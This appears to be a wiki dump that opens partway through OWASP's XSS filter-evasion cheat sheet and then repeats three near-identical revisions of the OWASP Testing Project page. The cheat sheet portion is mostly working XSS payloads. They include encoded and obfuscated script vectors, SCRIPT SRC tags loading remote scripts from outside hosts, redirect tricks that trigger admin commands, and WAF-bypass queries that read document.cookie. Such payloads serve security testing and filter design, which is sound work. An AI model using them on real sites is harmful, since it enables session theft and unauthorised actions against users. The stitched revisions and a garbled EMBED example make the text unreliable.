<nowiki><TABLE BACKGROUND="javascript:alert('XSS')"></nowiki>

=== TD ===
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
<nowiki><TABLE><TD BACKGROUND="javascript:alert('XSS')"></nowiki>

== DIV ==

=== DIV background-image===
<nowiki><DIV STYLE="background-image: url(javascript:alert('XSS'))"></nowiki>

=== DIV background-image with unicoded XSS exploit ===
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

=== DIV background-image plus extra characters ===
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<nowiki><DIV STYLE="background-image: url(javascript:alert('XSS'))"></nowiki>

=== DIV expression ===
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
<nowiki><DIV STYLE="width: expression(alert('XSS'));"></nowiki>

== Downlevel-Hidden block ==
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

<nowiki></nowiki>

== BASE tag ==
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):
<nowiki><BASE HREF="javascript:alert('XSS');//"></nowiki>

== OBJECT tag ==
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

<nowiki><OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT></nowiki>

== Using an EMBED tag you can embed a Flash movie that contains XSS ==
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
<nowiki>EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED></nowiki>

== You can EMBED SVG which can contain your XSS vector ==
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.
<nowiki><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED></nowiki>

== Using ActionScript inside flash can obfuscate your XSS vector ==

<nowiki>a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);</nowiki>

== XML data island with CDATA obfuscation ==
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

<nowiki><XML ID="xss"><I><B><IMG SRC="javascript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></nowiki>

== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

<nowiki><XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></nowiki>

== HTML+TIME in XML ==
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
<nowiki><HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML></nowiki>

== Assuming you can only fit in a few characters and it filters against ".js" ==
you can rename your JavaScript file to an image as an XSS vector:
<nowiki><SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT></nowiki>

== SSI (Server Side Includes)==
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
<nowiki></nowiki>

== PHP ==
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

<nowiki><? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?></nowiki>

== IMG Embedded commands ==
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:
<nowiki><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></nowiki>

=== IMG Embedded commands part II ===
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="httx://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

<nowiki>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</nowiki>

== Cookie manipulation ==
Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

<nowiki><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></nowiki>

== UTF-7 encoding ==
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
<nowiki><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</nowiki>

== XSS using HTML quote encapsulation ==
This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":
<nowiki><SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):
<nowiki><SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

<nowiki><SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):
<nowiki><SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):
<nowiki><SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
<nowiki><SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

<nowiki><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

== URL string evasion ==
Assuming "http://www.google.com/" is pro grammatically disallowed:

=== IP verses hostname ===
<nowiki><A HREF="http://66.102.7.147/">XSS</A></nowiki>

=== URL encoding ===
<nowiki><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></nowiki>

=== Dword encoding ===
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
<nowiki><A HREF="http://1113982867/">XSS</A></nowiki>

=== Hex encoding ===
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
<nowiki><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></nowiki>

=== Octal encoding ===
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
<nowiki><A HREF="http://0102.0146.0007.00000223/">XSS</A></nowiki>

=== Mixed encoding ===
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

<nowiki><A HREF="h
tt p://6	6.000146.0x7.147/">XSS</A></nowiki>

=== Protocol resolution bypass ===
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
<nowiki><A HREF="//www.google.com/">XSS</A></nowiki>

=== Google "feeling lucky" part 1. ===
Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.

<nowiki><A HREF="//google">XSS</A></nowiki>

=== Google "feeling lucky" part 2.===
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
<nowiki><A HREF="http://ha.ckers.org@google">XSS</A></nowiki>

=== Google "feeling lucky" part 3. ===
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):
<nowiki><A HREF="http://google:ha.ckers.org">XSS</A></nowiki>

=== Removing cnames ===
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
<nowiki><A HREF="http://google.com/">XSS</A></nowiki>

=== Extra dot for absolute DNS:===
<nowiki><A HREF="http://www.google.com./">XSS</A></nowiki>

=== JavaScript link location: ===
<nowiki><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></nowiki>

=== Content replace as attack vector ===
Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x09;script:" was converted into "java	script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):
<nowiki><A HREF="http://www.google.com/ogle.com/">XSS</A></nowiki>

== Character escape sequences ==
All the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
<br>
= Methods to Bypass WAF – Cross-Site Scripting =

General issues<br>
• Stored XSS

If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.<br>
• Reflected XSS in Javascript
Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//
• DOM-based XSS
Example: <script> ... eval($_GET[xss]); ... </script>
Exploitation: /?xss=document.cookie
<b>XSS via request Redirection.</b><br>
• Vulnerable code:
...
header('Location: '.$_GET['param']);
...
As well as:
...
header('Refresh: 0; URL='.$_GET['param']);
...
• This request will not pass through the WAF:
/?param=javascript:alert(document.cookie)
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

= Character Encoding and IP Obfuscation Calculators =

This following links include calculators for doing basic transformation functions that are useful for XSS.

[http://ha.ckers.org/xsscalc.html http://ha.ckers.org/xsscalc.html]

= Authors and Primary Editors =

Robert "RSnake" Hansen

= Contributors =

Adam Lange<br/>
Mishra Dhiraj

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}
[[Category:Cheatsheets]]
[[Category:Popular]]
[[Category:OWASP_Breakers]]
{{TOC hidden}}

OWASP Testing Project

2016-03-28T20:32:29Z

Bill Sempf: /* Classifications */

{{OWASP Breakers}}
{{OWASP Book|5691953}}
{{Social Media Links}}
= New OWASP Testing Guide =
<div style="width:100%;height:90px;border:0,margin:0;overflow: hidden;">[[File: flagship_big.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

<div style="font-size:120%;border:none;margin: 0;color:#000">

== OWASP Testing Guide v4 ==

ANNOUNCING THE NEW "OWASP TESTING GUIDE v4

17th September, 2014: OWASP is announcing the new OWASP Testing Guide v4.<br>

A big thank you to all the contributors and reviewers!<br>

3rd August 2015, the OWASP Testing Guide v4 book now available!
<br>You can buy the Guide [http://www.lulu.com/shop/matteo-meucci-and-andrew-muller/testing-guide-40-release/paperback/product-22294314.html here] <br>

<br>Or you can download the Guide [https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf here]<br>

[[File:OWTGv4 Cover.png]]

Or browse the guide on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents here]

| valign="top" style="padding-left:25px;width:200px;" |
==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" rowspan="2" width="50%" | [[File:Owasp-flagship-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Flagship_Projects]]
| align="center" valign="center" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|
|-
| align="center" valign="center" width="50%"|
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}
|}

= Old OWASP Testing Guides =

== OWASP Testing Guide v3 ==

16th December 2008: OWASP Testing Guide v3 is finished!<br>

*You can download the Guide in PDF [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here]
*Download the presentation [https://www.owasp.org/images/2/2c/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt here]
*Browse the Testing Guide v3 on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents here]

''''NEW: OWASP projects and resources you can use TODAY''''<br>
16th April 2010 in London, OWASP leaders deliver a course focused on the main OWASP Projects.<br>
Matteo Meucci will deliver a training course on the OWASP Testing Guide v3. <br>
More information [http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY here]

Video @ FOSDEM 09: [http://fosdem.unixheads.org/2009/maintracks/owasp.ogv here]

Citations:

http://www.owasp.org/index.php/Testing_Guide_Quotes

== Overview ==

This project's goal is to create a "best practices" web application penetration testing framework which users can implement in their own organizations and a "low level" web application penetration testing guide that describes how to find certain issues.

Version 3 of the Testing Guide was released in December 2008 after going through a major upgrade through the [[OWASP Summer of Code 2008]].

= Background and Motivation =

'''History Behind Project''' The OWASP Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to [[User:EoinKeary|Eoin Keary]] in 2005 and moved onto the new OWASP wiki when it came online. Being in a wiki is easier for people to contribute and has made updating much easier. [[User:Mmeucci|Matteo Meucci]] took on the Testing guide after Eoin and shepherded it through the version 2 and version 3 updates, which have been significant improvements.

= Project History =

== OWASP Testing Guide v3 ==

Testing Guide v3: plan (archive)

26th April 2008: Version 3 of the Testing Guide started under [[OWASP Summer of Code 2008]].

6th November 2008: Completed draft created and previewed at [[OWASP EU Summit 2008|OWASP EU Summit 2008 in Portugal]].

Final stable release in December 2008

== OWASP Testing Guide v2 ==

'''10th February 2007: The OWASP Testing Guide v2 is now published''' [[User:Mmeucci|Matteo Meucci]] (as part of his [[OWASP Autumn of Code 2006 - Projects: Testing Guide|AoC project]]) has just published the latest version of Testing guide which:

*you can read it on line on the [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Testing Guide v2 wiki]
*or download the Guide in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip Adobe PDF format] or in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip Ms Doc format]

'''OWASP Testing Guide v2 in Spanish:''' Now you can get a complete translation in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_spanish_doc.zip Ms Doc format]

For comments or questions, please join the [http://lists.owasp.org/mailman/listinfo/owasp-testing OWASP Testing mailing list], read our archive and share your ideas. Alternatively you can contact [[User:EoinKeary|Eoin Keary]] or [[User:Mmeucci|Matteo Meucci]] directly.

Here you can find:

*[http://www.owasp.org/index.php/Testing_Guide_Quotes The OWASP Testing Guide 'Quotes']
*[http://www.owasp.org/index.php/OWASP_Testing_Guide_Presentations Testing Guide presentations]

= Related =

'''OWASP Testing Guide (v2+v3) Report Generator''' is found at [http://yehg.net/lab/#wasarg http://yehg.net/lab/#wasarg].

'''THE OWASP Testing Project Live CD''' The OWASP testing project is currently implementing an Application security Live CD. <br> LabRat Version 0.8 Alpha is just weeks away from Beta testing*.

The aim of this CD is to have a complete testing suite on one Disk. The CD shall also contain the forthcoming OWASP Testing guide.

The Live CD now has its own section you can find it here: [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project]

= Feedback and Participation =

We hope you find the information in the OWASP Testing project useful. Please contribute back to the project by sending your comments, questions, and suggestions to the OWASP Testing mailing list. Thanks!

To join the OWASP Testing mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-testing subscription page].

= Translations =

Thanks to the translators all around the world you can download the guide in the following languages:

* Spanish in [http://www.owasp.org/images/8/80/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf PDF] or [http://www.owasp.org/images/d/d7/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.zip MS Word] formats. (v3.0)

* Chinese in [http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf PDF] format. (Thanks to the [http://www.owasp.org/index.php/China-Mainland China-mainland chapter]. (v3.0; translation of v4.0 in process)

* Japanese in [http://www.owasp.org/images/1/1e/OTGv3Japanese.pdf PDF] format here (this is a 1st draft of v3.0, final release coming soon).

We invite you to explore and help us translate OWASP Testing Guide 4.0 at Crowdin. Please visit URL below to start translating this project:

https://crowdin.com/project/owasp-testing-guide-40/invite

= Project About =
{{:Projects/OWASP Testing Project | Project About}}

__NOTOC__
<headertabs />

[[Category:OWASP_Project|Testing Guide]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Stable Quality Document]] [[Category:SAMM-ST-1]]

OWASP Testing Project

2016-03-28T20:31:32Z

Bill Sempf: /* Classifications */

{{OWASP Breakers}}
{{OWASP Book|5691953}}
{{Social Media Links}}
= New OWASP Testing Guide =
<div style="width:100%;height:90px;border:0,margin:0;overflow: hidden;">[[File: flagship_big.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

<div style="font-size:120%;border:none;margin: 0;color:#000">

== OWASP Testing Guide v4 ==

ANNOUNCING THE NEW "OWASP TESTING GUIDE v4

17th September, 2014: OWASP is announcing the new OWASP Testing Guide v4.<br>

A big thank you to all the contributors and reviewers!<br>

3rd August 2015, the OWASP Testing Guide v4 book now available!
<br>You can buy the Guide [http://www.lulu.com/shop/matteo-meucci-and-andrew-muller/testing-guide-40-release/paperback/product-22294314.html here] <br>

<br>Or you can download the Guide [https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf here]<br>

[[File:OWTGv4 Cover.png]]

Or browse the guide on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents here]

| valign="top" style="padding-left:25px;width:200px;" |
==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" rowspan="2" width="50%" | [[File:Owasp-flagship-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Flagship_Projects]]
| align="center" valign="center" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}
|}

= Old OWASP Testing Guides =

== OWASP Testing Guide v3 ==

16th December 2008: OWASP Testing Guide v3 is finished!<br>

*You can download the Guide in PDF [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here]
*Download the presentation [https://www.owasp.org/images/2/2c/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt here]
*Browse the Testing Guide v3 on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents here]

''''NEW: OWASP projects and resources you can use TODAY''''<br>
16th April 2010 in London, OWASP leaders deliver a course focused on the main OWASP Projects.<br>
Matteo Meucci will deliver a training course on the OWASP Testing Guide v3. <br>
More information [http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY here]

Video @ FOSDEM 09: [http://fosdem.unixheads.org/2009/maintracks/owasp.ogv here]

Citations:

http://www.owasp.org/index.php/Testing_Guide_Quotes

== Overview ==

This project's goal is to create a "best practices" web application penetration testing framework which users can implement in their own organizations and a "low level" web application penetration testing guide that describes how to find certain issues.

Version 3 of the Testing Guide was released in December 2008 after going through a major upgrade through the [[OWASP Summer of Code 2008]].

= Background and Motivation =

'''History Behind Project''' The OWASP Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to [[User:EoinKeary|Eoin Keary]] in 2005 and moved onto the new OWASP wiki when it came online. Being in a wiki is easier for people to contribute and has made updating much easier. [[User:Mmeucci|Matteo Meucci]] took on the Testing guide after Eoin and shepherded it through the version 2 and version 3 updates, which have been significant improvements.

= Project History =

== OWASP Testing Guide v3 ==

Testing Guide v3: plan (archive)

26th April 2008: Version 3 of the Testing Guide started under [[OWASP Summer of Code 2008]].

6th November 2008: Completed draft created and previewed at [[OWASP EU Summit 2008|OWASP EU Summit 2008 in Portugal]].

Final stable release in December 2008

== OWASP Testing Guide v2 ==

'''10th February 2007: The OWASP Testing Guide v2 is now published''' [[User:Mmeucci|Matteo Meucci]] (as part of his [[OWASP Autumn of Code 2006 - Projects: Testing Guide|AoC project]]) has just published the latest version of Testing guide which:

*you can read it on line on the [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Testing Guide v2 wiki]
*or download the Guide in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip Adobe PDF format] or in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip Ms Doc format]

'''OWASP Testing Guide v2 in Spanish:''' Now you can get a complete translation in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_spanish_doc.zip Ms Doc format]

For comments or questions, please join the [http://lists.owasp.org/mailman/listinfo/owasp-testing OWASP Testing mailing list], read our archive and share your ideas. Alternatively you can contact [[User:EoinKeary|Eoin Keary]] or [[User:Mmeucci|Matteo Meucci]] directly.

Here you can find:

*[http://www.owasp.org/index.php/Testing_Guide_Quotes The OWASP Testing Guide 'Quotes']
*[http://www.owasp.org/index.php/OWASP_Testing_Guide_Presentations Testing Guide presentations]

= Related =

'''OWASP Testing Guide (v2+v3) Report Generator''' is found at [http://yehg.net/lab/#wasarg http://yehg.net/lab/#wasarg].

'''THE OWASP Testing Project Live CD''' The OWASP testing project is currently implementing an Application security Live CD. <br> LabRat Version 0.8 Alpha is just weeks away from Beta testing*.

The aim of this CD is to have a complete testing suite on one Disk. The CD shall also contain the forthcoming OWASP Testing guide.

The Live CD now has its own section you can find it here: [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project]

= Feedback and Participation =

We hope you find the information in the OWASP Testing project useful. Please contribute back to the project by sending your comments, questions, and suggestions to the OWASP Testing mailing list. Thanks!

To join the OWASP Testing mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-testing subscription page].

= Translations =

Thanks to the translators all around the world you can download the guide in the following languages:

* Spanish in [http://www.owasp.org/images/8/80/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf PDF] or [http://www.owasp.org/images/d/d7/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.zip MS Word] formats. (v3.0)

* Chinese in [http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf PDF] format. (Thanks to the [http://www.owasp.org/index.php/China-Mainland China-mainland chapter]. (v3.0; translation of v4.0 in process)

* Japanese in [http://www.owasp.org/images/1/1e/OTGv3Japanese.pdf PDF] format here (this is a 1st draft of v3.0, final release coming soon).

We invite you to explore and help us translate OWASP Testing Guide 4.0 at Crowdin. Please visit URL below to start translating this project:

https://crowdin.com/project/owasp-testing-guide-40/invite

= Project About =
{{:Projects/OWASP Testing Project | Project About}}

__NOTOC__
<headertabs />

[[Category:OWASP_Project|Testing Guide]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Stable Quality Document]] [[Category:SAMM-ST-1]]

OWASP Testing Project

2016-03-28T20:31:10Z

Bill Sempf: /* Classifications */

{{OWASP Breakers}}
{{OWASP Book|5691953}}
{{Social Media Links}}
= New OWASP Testing Guide =
<div style="width:100%;height:90px;border:0,margin:0;overflow: hidden;">[[File: flagship_big.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

<div style="font-size:120%;border:none;margin: 0;color:#000">

== OWASP Testing Guide v4 ==

ANNOUNCING THE NEW "OWASP TESTING GUIDE v4

17th September, 2014: OWASP is announcing the new OWASP Testing Guide v4.<br>

A big thank you to all the contributors and reviewers!<br>

3rd August 2015, the OWASP Testing Guide v4 book now available!
<br>You can buy the Guide [http://www.lulu.com/shop/matteo-meucci-and-andrew-muller/testing-guide-40-release/paperback/product-22294314.html here] <br>

<br>Or you can download the Guide [https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf here]<br>

[[File:OWTGv4 Cover.png]]

Or browse the guide on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents here]

| valign="top" style="padding-left:25px;width:200px;" |
==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" rowspan="2" width="50%" | [[File:Owasp-flagship-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Flagship_Projects]]
| align="center" valign="center" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|
|-
| align="center" valign="center" width="50%"| [[File:Owasp-testers-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
